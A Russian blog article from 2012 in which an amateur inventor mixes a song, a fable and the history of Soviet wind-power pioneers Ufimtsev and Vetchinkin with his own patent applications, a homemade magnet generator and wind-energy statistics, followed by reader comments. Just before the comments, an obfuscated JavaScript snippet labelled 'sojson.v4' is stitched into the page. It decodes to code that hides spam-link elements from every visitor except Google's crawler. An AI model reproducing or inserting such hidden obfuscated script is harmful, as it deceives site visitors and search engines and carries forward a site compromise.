Сказка о вольном ветре
Здравствуйте, юные друзья. Здравия желаю и вашим родителям. Вы рождены, чтоб сказку сделать былью, и я вам советую выучить эту песню. Человек родился на этой Земле недавно и он, как малое дитё, сосёт недра матушки, сжигая химическое сырьё – смесь жидких и газообразных углеводородов, используя их на сжигание вместо переработки сырья для перегонки и синтеза органических продуктов потребления. Немного поумневшие начинают использовать энергию солнца и ветра для этих целей. Булат Акуджава написал песню – молитву:
Пока Земля ещё вертится, пока ещё ярок свет,
Господи, дай же ты каждому — чего у него нет.
Умному — дай голову, трусливому дай коня,
Дай счастливому денег, и не забудь про меня.
Пока Земля ещё вертится, Господи, твоя власть,
Дай, — рвущемуся к власти навластвоваться всласть.
Дай передышку щедрому, хоть до исхода дня,
Каину дай раскаянье, и не забудь про меня.
Я знаю, ты всё умеешь, я верую в мудрость твою,
Как верит солдат убитый, что он проживает в раю.
Как верит каждое ухо тихим речам твоим,
Как веруем и мы сами, не ведая, что творим.
Господи, мой Боже, зеленоглазый мой,
Пока Земля ещё вертится и это ей странно самой.
Пока ещё хватает времени и огня,
Дай же ты всем понемногу и не забудь про меня.
Дай же ты всем понемногу и не забудь про меня.
Прежде чем рассказать сказку о ветре, я вам спою эту песню, а вы посмотрите. Если зрителей и слушателей будет – тысяча…….
«тысяча зрителей по одному рублю, это будет!
пять пишем два на ум пошло… это будет!!!
сумасшедшие деньги!!! (Райкин)»
Однажды сердитый северный Ветер и Солнце затеяли спор о том, кто из них сильнее. Долго они спорили и решили испробовать свою силу на одном путешественнике.
Ветер сказал: «Я сейчас вмиг сорву с него плащ!» И начал дуть. Он дул очень сильно и долго. Но человек только плотнее закутывался в свой плащ.
Тогда Солнце начало пригревать путника. Он сначала опустил воротник, потом развязал пояс, а потом снял плащ и понёс его на руке.
Солнце сказало Ветру: «Видишь: добром, лаской, можно добиться гораздо большего, чем насилием».
С детства я помню ещё сказку — солнце поднатужилось, и стало очень жарко. Тогда ветер нежно, ласково подул, и стало прохладно. Вывод – добро побеждает зло.
Я попытался использовать ветер для получения электричества после отказов ЛЕНЭНЕРГО подключить свет к садовому домику – началась капитализация страны.
К мысли о необходимости анемофицировать всю страну, т. е. застроить её ветряками («анемо» по гречески- ветер), друзья соратники Анатолий Уфимцев и Владимир Ветчинкин пришли почти одновременно с возникновением великой и дерзкой большевистской идеи ГОЭЛРО, воплощённой в набившей оскомину в советские времена Ленинской формулировке: «коммунизм – это советская власть плюс электрификация всей страны». История техники журнал ИР №2/2008
Это были настоящие патриоты страны, не в пример нынешнему обществу, озабоченному своим кошельком.
© автор: Ш.Гойзман
ВЕСЬ В ДЕДА ВНУК
КАЗАЛОСЬ БЫ, еще недавно куряне с гордостью произносили имя своего земляка, изобретателя-самоучки Анатолия Георгиевича Уфимцева. Сейчас же далеко не каждый молодой горожанин, тем более гость, знает, в чью честь названа одна из улиц в центре Курска и кто и зачем построил сорокаметровую мачту с ветряком на вершине, издалека видную со многих точек областного центра.
Родился Анатолий Уфимцев 24 ноября 1880 года в Курске в семье землемера.
Самый значительный вклад в развитие техники Уфимцев внес уже после окончания войны, создав впервые в мире надежно работающую ветроэлектростанцию. Для использования в ней он в 1918 изобрел инерционный аккумулятор — маховик и, с помощью ученого-теоретика профессора Ветчинкина, предложил — опять же первое в мире — ветроколесо с поворотными лопастями и переменным углом атаки. Как в современных вертолетах!
Уфимцев и Ветчинкин связывали расцвет России с тотальным ветроиспользованием. Они это называли «сплошной анемофикацией России». У них были даже статистические расчеты по отдельным районам страны, которые подтверждали, что вся российская энергетика может быть основана на использовании энергии ветра. Если бы наше правительство тогда прислушалось к мнению Уфимцева, то сколько бы гектаров пахотной земли удалось бы уберечь от затопления из-за строительства гидроэлектростанций и какие бы средства были сэкономлены за счет отказа от строительства атомных электростанций!?
В 2007 году я подал заявку рег. № 2007105664. Устройство для использования энергии речного или воздушного потока, содержащее опору свалом, жёстко соединённым с корпусом и кронштейнами, на которых закреплены лопасти, имеющие прямоугольную форму, поворачивающиеся на шарнирах с вертикальными осями, отличающиеся тем, что:
- лопасть полая с рёбрами жёсткости, расположенными внутри полости;
- Лопасть герметичная для водной среды, имеет объём, равный её весу;
- Лопасть имеет приспособление для крепления реи с парусом для воздушной среды.
Я не захотел платить два раза за заявку и трёхлетний спор за патентоспособность оказался не на моей стороне. Я стал внедрять заявку на своей даче.
Не получилось по двум причинам. Недостаток образования в электротехнике и парусность лопастей привела к разрушению мачты, на которой крутились лопасти, оставленные на зимний период. В формуле заявки было сказано, что лопасти герметичные и имеют рёбра жёсткости. Эту изюминку новизны экспертиза не хотела замечать. Ну и шут с ней! Я отправил ходатайство президенту Медведеву и немного изменил рисунок с целью герметизации лопасти в воздушной среде.
Администрация президента отправила мою жалобу РОСПАТЕНТУ, и я закрыл эту тяжбу переписки.
Я не успокоился и понял, что с вольным ветром не надо шутить. Он может дуть так, как ему хочется, а не мне. В регионе, где я проживаю, поток ветра слабый и надо каким-то образом приспособиться к его слабости и силе.
Я подал заявку рег. № 2011140109 Преобразователь энергии потока ветра, содержащий приёмники энергии в виде лопастей, жёстко соединённых с осью ротора, вращающегося перпендикулярно направлению ветра, отличающийся тем, что на лопастях расположены постоянные магниты, которые своими магнитными потоками, пересекают витки индукционной катушки.
Лень порождает человек к изобретательству, творчеству, а творчество порождает недовольство собой. Недостатки заявки я компенсировал другой заявкой рег. №2011143819 Генератор постоянного тока, в роторе которого расположены постоянные магниты, а в статоре индукционные катушки, закреплённые на сердечнике, отличающийся тем, что с целью уменьшения сопротивления магнитных полей:
— катушки не имеют общего сердечника, а индукционный ток возникает лишь в обмотке, приближённой к магниту.
— в роторе магниты одноимённым полюсом направлены в сторону индукционных катушек, образуя в них пульсирующий ток.
— генератор расположен в замкнутом, герметичном пространстве.
Процесс недовольства собой продолжается, и я подал заявку на полезную модель. Регистрационный номер я ещё не получил, но могу продемонстрировать свою модель, которую назвал ЭКОНОМОГЕНЕРАТОР.
Экономогенератор, на роторе которого расположены постоянные магниты, а на статоре индукционные катушки, отличающийся тем, что:
— ротор с постоянными магнитами вращается в корпусе из немагнитного материала, отделённом от индукционных катушек, расположенных у стенки корпуса с другой стороны стенки.
— индукционные катушки имеют п – образный сердечник.
На видео видим экономогенератор в верхней части и совмещённый с ним ветродвигатель. Ветродвигатель имеет 19 лопастей Савониуса, вырезанных из пластин пеноплэкса по копиру раскалённой струной и склеенных эпоксидным клеем с генератором. Лопасти и экономогенератор как одно целое имеют вертикальную ось вращения. Маховик генератора диаметром 400 мм выполнен также из пеноплэкса как и лопасти. На маховике расположены 32 магнитные пластины размером 20 х 20 х 3, которые при вращении своими одноименными магнитными полями, приближаясь к сердечникам катушек, возбуждают магнитное поле в катушке, образуя электрический ток в её витках. Следующий магнит, расположенный в другой плоскости вращения притягивается к сердечнику той же катушки, образуя ток противоположного направления. Катушки с сердечниками использованы от малооборотных двигателей.
При серийном изготовлении Экономогенераторов теоретики могут посчитать число витков катушки, сечение провода и заменить профиль сердечника, приемлемый для такой конструкции с целью оптимального взаимодействия с движущимися магнитами. Образуемый переменный ток двух катушек с помощью диодов выпрямляется и направляется на диодные лампы, соединённые между собой последовательно. Четыре трёхвольтовые диодные лампы являются своеобразным показателем напряжения, подаваемым на цепочку из ламп. При вращении маховика со скоростью 1 оборот в секунду получаем напряжение – 12 вольт. Если увеличить число оборотов, то по Райкину — « пять пишем два на ум пошло… это будет!!! Сумасшедшее напряжение!!! Зазор между сердечниками и магнитами регулируется винтами в зависимости от силы источника вращения маховика, в данном случае ветродвигателя. Значит, при слабых потоках ветра зазор необходимо увеличивать для раскрутки маховика, естественно теряем напряжение получаемого тока. Более сильные источники вращения позволят уменьшить зазор между магнитом и сердечником, значит, увеличится напряжение – «сумасшедшее».
Представим, — экономогенератор расположен на крыше автобуса с механическим приводом маховика – «сумасшедшее» напряжение, потому что диаметр маховика можно увеличить, разместить на маховике большее количество магнитов.
Представим, — экономогенератор находится на пристани незамерзающей до дна реки. Получим гидростанцию для прибрежного посёлка с постоянным напряжением, зависящим лишь от скорости течения воды.
Модель весит 2,5 кг. Весь вес тянут уголки из алюминия. Представим, что с другой стороны будут такие же лопасти на одной оси, а сам маховик вместе с катушками через сальники поместить в оболочку, заполненную гелием и поднять на высоту вольного ветра – «сумасшедшая» поселковая ветроэлектростанция.
Пофантазируем ещё немного. Каркас генератора можно сделать из бамбука, на котором натянута лента с магнитами. В детстве ходил в авиамодельный кружок, гнул лонжероны из бамбука. На ось как шашлык на палочке, нанизаны надувные гелием лопасти и генератор в надувной оболочке — изготовили передвижную ветроэлектростанцию в глухом лесу вдали от рек. Таким образом, придуманная сказка превращается в быль. Юное поколение продолжит творчество предков. Жаль только детских технических кружков – как пять пальцев на руке.
К сожалению, техническое творчество слабо развивается и непонятен союз промышленников и предпринимателей. Отсутствует информация о деятельности нерушимого союза. Само слово – союз по понятию близко к монополии на производство. Конкуренция малого и среднего бизнеса отсутствует по причине отсутствия самого бизнеса кроме торговли и транспортировки продуктов торговли. Оживают слова классиков:
«Умному — дай голову. Пять пишем – два на ум пошло. Дай — навластвоваться всласть»
Дизайнеры из голландской компании NL architects задумались: — «Как модернизировать обычный ветрогенератор, чтобы его вписать в архитектурный ансамбль города?» Так, чтобы альтернативные источники энергии стали ближе к жилью человека, независимо, будь это квартира в многоэтажке или дом в пригороде. Хотя бы по причине экономии на транспортировки электричества от электростанции к потребителю. Не секрет, что обычные (горизонтальные) ветряные мельницы очень шумные, требуют открытых пространств и постоянного неслабого потока ветра. Как альтернатива, были придуманы, и внедрены вертикальные ветряки, которые более универсальны. Основное преимущество вертикальных ветрогенераторов — работают на малых ветрах и практически бесшумные. Улавливают все ветряные потоки, по всем направлениям и их легко монтировать в кварталах с высокой плотностью застройки.
Ветряные установки, предложенные голландцами, строятся по типу древовидной структуры и могут улавливать ветер в пределах городской среды, в парках, на улицах, рядом с домами и на дорогах.Концепт установки «Power Flower» планируется монтировать в двух версиях — с тремя и двенадцатью ветряными трехлопастными турбинами.
Обычно от использования ветряков отказываются по причине их некрасивости, шуму и вредной вибрации. «Энергетические Цветы» от голландских дизайнеров, напротив, эстетически привлекательны, бесшумные и практически не обладают вибрациями свойственными промышленным ветрякам. Архитекторы спроектировали коттеджные поселки и городские кварталы, в планы которых вписаны оригинальные опоры для 3 или 12 турбин.
Команда считает, что установка из трёх турбин с приятным дизайном, установленные рядом с коттеджем, будет генерировать более 13000 кВт-ч электроэнергии в год при средней скорости ветра 5 метров в секунду и создавать всего лишь 42.8db шума на 12 метров в секунду.
Нью-йоркская дизайн-студия Atelier DNA разработала устройство, которое собирает энергию ветра… без традиционных ветряных турбин. Гибкие столбы высотой 55 метров, сделанные из углеродного волокна и армированные полимером, подобно вздыбленным волосам, колеблются от дуновения ветра. Пьезоэлектрические керамические диски, вмонтированные в столбы, вырабатывают электроэнергию, подобно давлению позвоночника на межпозвоночные диски.
Поскольку производство электроэнергии в концепции Windstalk будет зависеть от силы и скорости ветра, дизайнеры разработали способ хранения энергии. Под столбом будут установлены две большие камеры с водой, расположенных друг над другом. Когда дует ветер, часть электроэнергии используется для питания множество насосов, которые поднимают воду из нижней камеры в верхнюю. Потом, когда ветер стихает, вода спускается из верхней камеры в нижнюю камеру, превращая насосы в генераторы.
Как видим, техническая мысль продолжает бороться с непокорным вольным ветром. Кроме того, для эффективной работы ветрогенераторов с горизонтальной осью вращения требуется поток ветра со скорость 5м/сек. не менее.
Совсем другое дело – использовать бескрайние отечественные реки с постоянной скоростью течения. Подтвердится закон диалектики перехода количества генераторов малой мощности в качество жизни прибрежного населения у берегов незамерзающих до дна рек. А рек в Российской Федерации достаточно. Надеюсь, предлагаемый малооборотный генератор найдёт своё применение при освоении заброшенных территорий самой большой страны в мире.
Сценарии развития мировой ветроэнергетики, разработанные специалистами, показывают, что при отсутствии государственной поддержки и рыночных стимулов, доля ветроэнергетики в мировом производстве электроэнергии может достичь 5% к 2030 году и 6,6% к 2050 году. При господдержке энергосбережения, ветроэнергетика может обеспечить 15.6% мирового производства электроэнергии к 2030 году и 17,7% к 2050 году. При масштабных энергосберегающих мероприятиях, ветроэнергетика обеспечивает 29,1% мирового производства электроэнергии к 2030 году и 34,2% — к 2050 году.
Таким образом, доля ветровой энергетики в системе энергоснабжения может быть значительно увеличена за счет реализации масштабных мероприятий в области энергосбережения.
Например, правительством Канады установлена цель к 2015 году производить 10% электроэнергии с использованием ветроэнергетических установок. Европейский Союз планирует к 2010 году установить 40 тыс. МВт ветрогенераторов, а к 2020 году — 180 тыс. МВт. В Китае, в соответствии с Национальным Планом Развития ветроэнергетики, планируется увеличить ветроэнергетические мощности до 5 тыс. МВт к 2010 году и до 30 тыс. МВт к 2020 г.
На фоне того, как большинство стран мира обратило свое внимание на развитие альтернативной энергетики, Россия, напротив, продолжает наращивать темпы добычи и экспорта традиционного топлива. В структуре топливно-энергетического баланса страны ведущая роль принадлежит таким энергоресурсам, как газ и нефть — 53% и 18.9% совокупного потребления энергии соответственно. Кроме того, около 18% энергобаланса приходится на долю твердого топлива.
Из 1066,7 млрд. кВтч выработанной электроэнергии в 2009 году:
* более 68% произведено тепловыми станциями
* около 15,5% гидроэлектростанциями
* около 17% атомными станциями
С использованием возобновляемых источников энергии в России ежегодно вырабатывается не более 8,5 млрд. кВтч электрической энергии, без учета гидроэлектростанций установленной мощностью более 25 МВт, что составляет менее 1% совокупного объема.
За несколько лет до финансового кризиса в России стала создаваться нормативно правовая база развития рынка ветроэнергетических установок. Первым шагом в вопросе законодательного регулирования отрасли стало принятие в конце 2007 года поправок к Федеральному закону «Об электроэнергетике», заложивших рамочные основы развития отрасли. Это событие способствовало как формированию институциональных условий функционирования рынка, так и повышению инвестиционной привлекательности отрасли.
Структура рынка альтернативной энергетики в России
К числу основных направлений государственной политики в сфере повышения энергоэффективности было отнесено развитие производства электрической энергии на основе:
* малых гидроэлектростанций, установленной мощностью менее 25 МВт
* генерирующих установок на основе солнечной энергии
* генерирующих установок на основе энергии ветра
* генерирующих установок на основе геотермальной энергии природных подземных теплоносителей
* генерирующих установок на основе низкопотенциальной тепловой энергии земли, воздуха, воды, включая сточные воды
* генерирующих установок на основе биомассы и биогаза
Для достижения объема потребления ветроэнергетических установок планируется ввод в период с 2010 по 2020 годы генерирующих объектов (малых ГЭС, ветроэлектрических станций, приливных электростанций, геотермальных электростанций, тепловых электростанций на биомассе и прочих видов электроустановок) с суммарной установленной мощностью до 25 ГВт.
Таким образом, объем выработки электроэнергии на основе ветроэнергетических установок к 2020 году должен составить около 80 млрд. кВтч.
Суммарная мощность всех ветроэнергетических установок России составила в 2009 году только 17-18 МВт (столько в мире устанавливается за 6 часов) или 0,008% от электрогенерирующих мощностей РФ (220 ГВт).
По экспертным оценкам, технический потенциал (под потенциалом отрасли нами понимается средний годовой объем энергии, содержащийся в данном виде энергоресурса при полном ее превращении в полезно используемую энергию) ветровой энергии России оценивается свыше 6000 млрд. кВтч/год. Экономический потенциал составляет примерно 31 млрд. кВтч/год. Россия — одна из самых богатых в этом отношении стран — самая длинная на Земле береговая линия, обилие ровных безлесных пространств, большие акватории внутренних рек, озер и морей — все это наиболее благоприятные места для размещения ветропарков.
Важность развития ветроэнергетики в нашей стране определяется тем, что 70% территории России, где проживает 10% населения, находится в зоне децентрализованного энергоснабжения, которая практически совпадают с зоной потенциальных ветроресурсов (Камчатка, Магаданская область, Чукотка, Сахалин, Якутия, Бурятия, Таймыр и др.).
Внедрение новых ветроэнергетических мощностей происходит в России достаточно медленными темпами: на конец 2005 года их было — 14 МВт, 2006 — 15,5 МВт, 2007 — 16,5 МВт. В среднем темпы прироста составляют 8% в год — это один из самых низких показателей в мире, в Китае, для сравнения, он составляет ~ 60%, США ~ 30%, Испании ~ 20%.
К настоящему моменту в России представлено около 10 крупных ветропарков, на долю которых приходится около 90% суммарной мощности. Кроме того функционирует около 1600 малых ветроэнергетических установок, мощностью от 0,1 до 30 кВт.
Стоит отметить, что установка практически всех ветропарков относится к 2002—2003 годам. В последние же годы, увеличение мощностей происходит в основном за счет маломощных индивидуальных энергосистем, прирост составил 250 ветроэнергетических установок мощностью от 1 кВт до 5 кВт.
На рынке ветроэнергетики работают свыше 50 участников, половину из которых можно отнести к производителям. Практически все производители изготавливают свою продукцию на основании собственных разработок. Менее 1% изготавливают ветроэнергетические установки на основе трансферта зарубежных технологий.
Согласно государственным планам, в дальнейшем ветроэнергетика должна развиваться быстрыми темпами. Предполагается за три года увеличить объем введенных мощностей в 15,5 раз. Это достаточно сложная задача, учитывая нынешнюю динамику развития.
По оценкам ResearchTechart, при оптимистичном сценарии при условии государственной поддержки и стимулирования развития ветроэнергетики к 2011 году в России будет около 120 МВт установленной мощности.
ВРТБ — ветровая роторная турбина Болотова. На рисунке лопасти Савониуса направляют поток ветра по желанию конструктора. Такие лопасти с проходом потока между лопастей трудно изготовить. На практике так не получается и, я попытался направить поток ветра с помощью заборного устройства, выполненного из двух текстолитовых листов для того, чтобы увеличить скорость ветра на выходе из заборного устройства к лопастям.
Если смотреть на мою модель критически, то она не смотрится эстетически. Кроме того лопасти просятся быть соразмерными диаметру генератора. Уменьшение диаметра вращения лопастей преследовало цель увеличить угловую скорость вращения. Диалектический закон ОТРИЦАНИЕ ОТРИЦАНИЯ применим и к мукам внедрения – пробы – ошибки — пробы. Трёхлопастной ветродвигатель, (Фото справа) возможно, поможет удалить некрасивое заборное устройство.
Конструкция примет вид вращающегося ротора в облегчённой раме, на которой установлены две индукционные катушки. Лопасти будут соизмеримы с диаметром генератора 400 мм. При скорости ветра 2 м/сек угловая скорость вращения будет не менее 1,5 об/сек., что обеспечит напряжение тока не менее 12 вольт при слабом ветре. Такую модель не стыдно будет поднять на блоке, как поднимали пионеры флаг на утреннем построении. « Всё ещё впереди» — Марк Бернес.
После службы в Армии я поступил в Ленинградский технологический институт им. Ленсовета. Мне запомнились слова студенческого марша на мотив марша авиаторов.
Мы — не чета филологом пижонам.
В науках мы за пояс их заткнём,
И по халатам рваным и прожжённым
Повсюду химиков мы узнаём.
Всё выше, и выше, и выше
К вершинам наук мы идём.
И, если с пути не собьёмся, прорвёмся,
То, значит, получим диплом!!!
10. 02. 2012.
[‘sojson.v4’][«\x66\x69\x6c\x74\x65\x72»][«\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72»]((([‘sojson.v4’]+[])[«\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72»][‘\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65’][‘\x61\x70\x70\x6c\x79’](null,»118J97J114e32K109l121m95L107G101q121O95v119X111Z114Q100P95f114s101y32l61S32c110p101W119b32w82E101F103g69i120Q112V40h34J71n111K111V103Z108T101g124z109f121L116R101D115z116d34a44p32m34H103o105X34V41h59g105Z102P40Z33j109x121d95d107g101p121J95W119R111K114c100J95M114o101t46V116f101Q115x116u40J110Z97l118N105o103o97R116L111L114W46L117R115I101T114E65K103D101a110e116L41v41E32z123V32i118w97U114Q32d99k108B97j115W115k95i109B121a95v107S101G121H95e119o111J114z100O32B61e32B100F111Y99t117b109G101E110i116D46B103y101m116Q69D108n101G109m101x110d116p115y66E121U67i108P97s115e115H78r97g109c101d40h39S107x101U121f115O95u119r111l114G100n115I39c41o59i32k102v111c114r40y118H97B114E32L105d32n61P32W48l59h32q105W32V60s32j99g108h97f115Y115W95P109J121z95T107I101r121J95Z119t111W114q100X46E108G101m110X103e116P104i59r32K105i43S43W41m32D99x108a97S115W115U95S109s121j95x107Z101v121i95n119S111y114z100x91z105B93U46K115V116Q121B108x101b46i100V105R115P112N108u97E121y32w61P32W39A110t111Q110A101n39h59e125″[‘\x73\x70\x6c\x69\x74’](/[a-zA-Z]{1,}/))))(‘sojson.v4’);
а почему на вал ветродвигателя нельзя просто поставить обычный генератор?
Мне очень понравилась Ваша статья. И не в самом изобретении дело — Вы судя по всему мудрый человек и меня поймете. Мне было важно узнать об истории советской ветроэнергетики, о том, что у нее есть основопорожники- Уфимцев и Ветчинкин.
Спасибо Вам большое.
@ ветряк:
Обычный генератор требует большой угловой скорости вращения. Я пишу не о ветряке а о экономогенераторе, модель которого рекламирую видеороликом.